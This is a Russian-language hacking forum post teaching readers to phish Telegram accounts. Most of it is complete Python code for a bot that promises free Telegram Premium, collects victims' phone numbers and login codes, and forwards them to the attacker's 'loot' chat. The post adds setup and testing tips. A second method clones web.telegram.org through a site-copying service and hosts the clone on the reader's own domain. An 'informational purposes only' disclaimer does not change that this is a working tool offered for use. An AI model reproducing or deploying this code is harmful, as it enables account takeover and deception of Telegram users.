LIMB
Вход Регистрация

тема

Фишим телегу: part 1

Killxss · · 3 ответов · 462 просмотров

Васам мабои, сегодня научу клепать вас фиш. сайты за секунду и рассмотрим 2 способа.

Способ 1. Работа на далбоеба(название запатентовано)


В этом способе мы создадим бота в телеграмм, который раздает халяву по типу премака. Для примера взял такой пример бота , потому-что лень думать, так что в своих способах постарайтесь применить социальную инженерию по-гениальнее.

Писать будем на нашей любимой змейке, конструкция: текст(автоматизированная соц.инженерия) - запрос номера для подт , якобы личности + код подт. Работа под дурочка.

Шаг 1
генерируем токен в фазере(как сами разберетесь видосов много, да и интерфейс в нем только дурочки не поймут)

Шаг 2
Пишем код бота, учить программировать вас не буду, просто оставлю его ниже и подскажу, что заменить под интеграцию с вашим ботом.

import logging
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
import json
import os

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)


# Токен твоего бота (получи через @BotFather)
TOKEN = "токен введи"
# ID чата, куда будут отправляться данные (твой ID или ID канала)
LOOT_CHAT_ID = "чат айди введи"


DATA_FILE = "phished_data.json"


def init_data():
if not os.path.exists(DATA_FILE):
with open(DATA_FILE, 'w') as f:
            json.dump({}, f)


def save_data(phone, code):
    data = {}
if os.path.exists(DATA_FILE):
with open(DATA_FILE, 'r') as f:
            data = json.load(f)

data[phone] = {"phone": phone, "code": code}
with open(DATA_FILE, 'w') as f:
        json.dump(data, f)


async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user = update.effective_user
await update.message.reply_text(
f" Привет, {user.first_name}! Добро пожаловать на раздачу Telegram Premium! \n"
        "Чтобы получить бесплатную подписку, отправь свой номер телефона, связанный с Telegram (например, +1234567890)."
    )
context.user_data['awaiting_phone'] = True


async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user = update.effective_user
    text = update.message.text

if context.user_data.get('awaiting_phone'):
     
if text.startswith('+') and text[1:].isdigit():
context.user_data['phone'] = text
context.user_data['awaiting_phone'] = False
            context.user_data['awaiting_code'] = True
            await update.message.reply_text(
"Отлично! Теперь отправь код авторизации, который ты получил в Telegram."
            )
# Отправляем данные в твой чат
            await context.bot.send_message(
chat_id=LOOT_CHAT_ID,
text=f" Новый номер: {text}\n Пользователь: {user.username or user.first_name}"
            )
else:
await update.message.reply_text(
"Пожалуйста, отправь корректный номер телефона, начиная с '+' (например, +1234567890)."
            )
elif context.user_data.get('awaiting_code'):
save_data(context.user_data['phone'], text)
context.user_data['awaiting_code'] = False
        await update.message.reply_text(
"Спасибо! Твой запрос на Telegram Premium обрабатывается. Мы свяжемся с тобой скоро! "
        )

await context.bot.send_message(
chat_id=LOOT_CHAT_ID,
text=f" Код авторизации: {text}\n Номер: {context.user_data['phone']}\n Пользователь: {user.username or user.first_name}"
        )
else:
await update.message.reply_text(
"Нажми /start, чтобы начать процесс получения Telegram Premium!"
        )



async def error_handler(update: Update, context: ContextTypes.DEFAULT_TYPE):
logger.error(f"Update {update} caused error {context.error}")
await context.bot.send_message(
chat_id=LOOT_CHAT_ID,
text=f"  Ошибка: {context.error}"
    )


def main():
    init_data()
    application = Application.builder().token(TOKEN).build()
application.add_handler(CommandHandler("start", start))
    application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
    application.add_error_handler(error_handler)
application.run_polling(allowed_updates=Update.ALL_TYPES)


if __name__ == '__main__':
    main()

Просто кодик бота, с текстом можете порабоать сами, НЕ ЗАБУДЬТЕ ЗАПУСТИТЬ БОТА НА СВОЕМ АККАУНТЕ, бот будет присылать вам введенные данные пользователя, поэтому проводите тесты со второго акка. Замените на свои данные - переменные токен и айдичат, айдичата можно получить в боте @getmyid_bot. Ну с траффом разберетесь сами. Из модулей: pip install python-telegram-bot

Способ 2. фишинг web.telegram.org 
Тут уже просто ебейшая тулза которую мы будем использовать, поделюсь с вами ей , а вы со мной реакциями)


Ну тут все просто, заходим на https://same.new/ , регаемся на леваки и кидаем домен , в ответ получаем готовые коды сайта и пихаем его на домен с хостингом , либо на сервак.Дальше дело техники, если хотите ,чтобы я все провернул в скринах и показал вам жду отдачи в реакциях и комментах

ТГК ПО ПЕНТЕСТУ: @oobormotpentest
👍25 😁3 🤔4
Все мои посты предназначены исключительно для информационных целей. Я не призываю к каким-либо действиям, которые могут нарушать закон или этические нормы, и сам не занимаюсь подобной деятельностью. Все мнения и идеи, выраженные в этом сообщении, являются личными и не должны восприниматься как рекомендации или инструкции к действию. Пожалуйста, действуйте ответственно и соблюдайте законы вашей страны.
адмы блин, отметите мой тгк?
ОтветKillxss

адмы блин, отметите мой тгк?

Вы можете его указать в самой статье и в профиле это не запрещено.
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.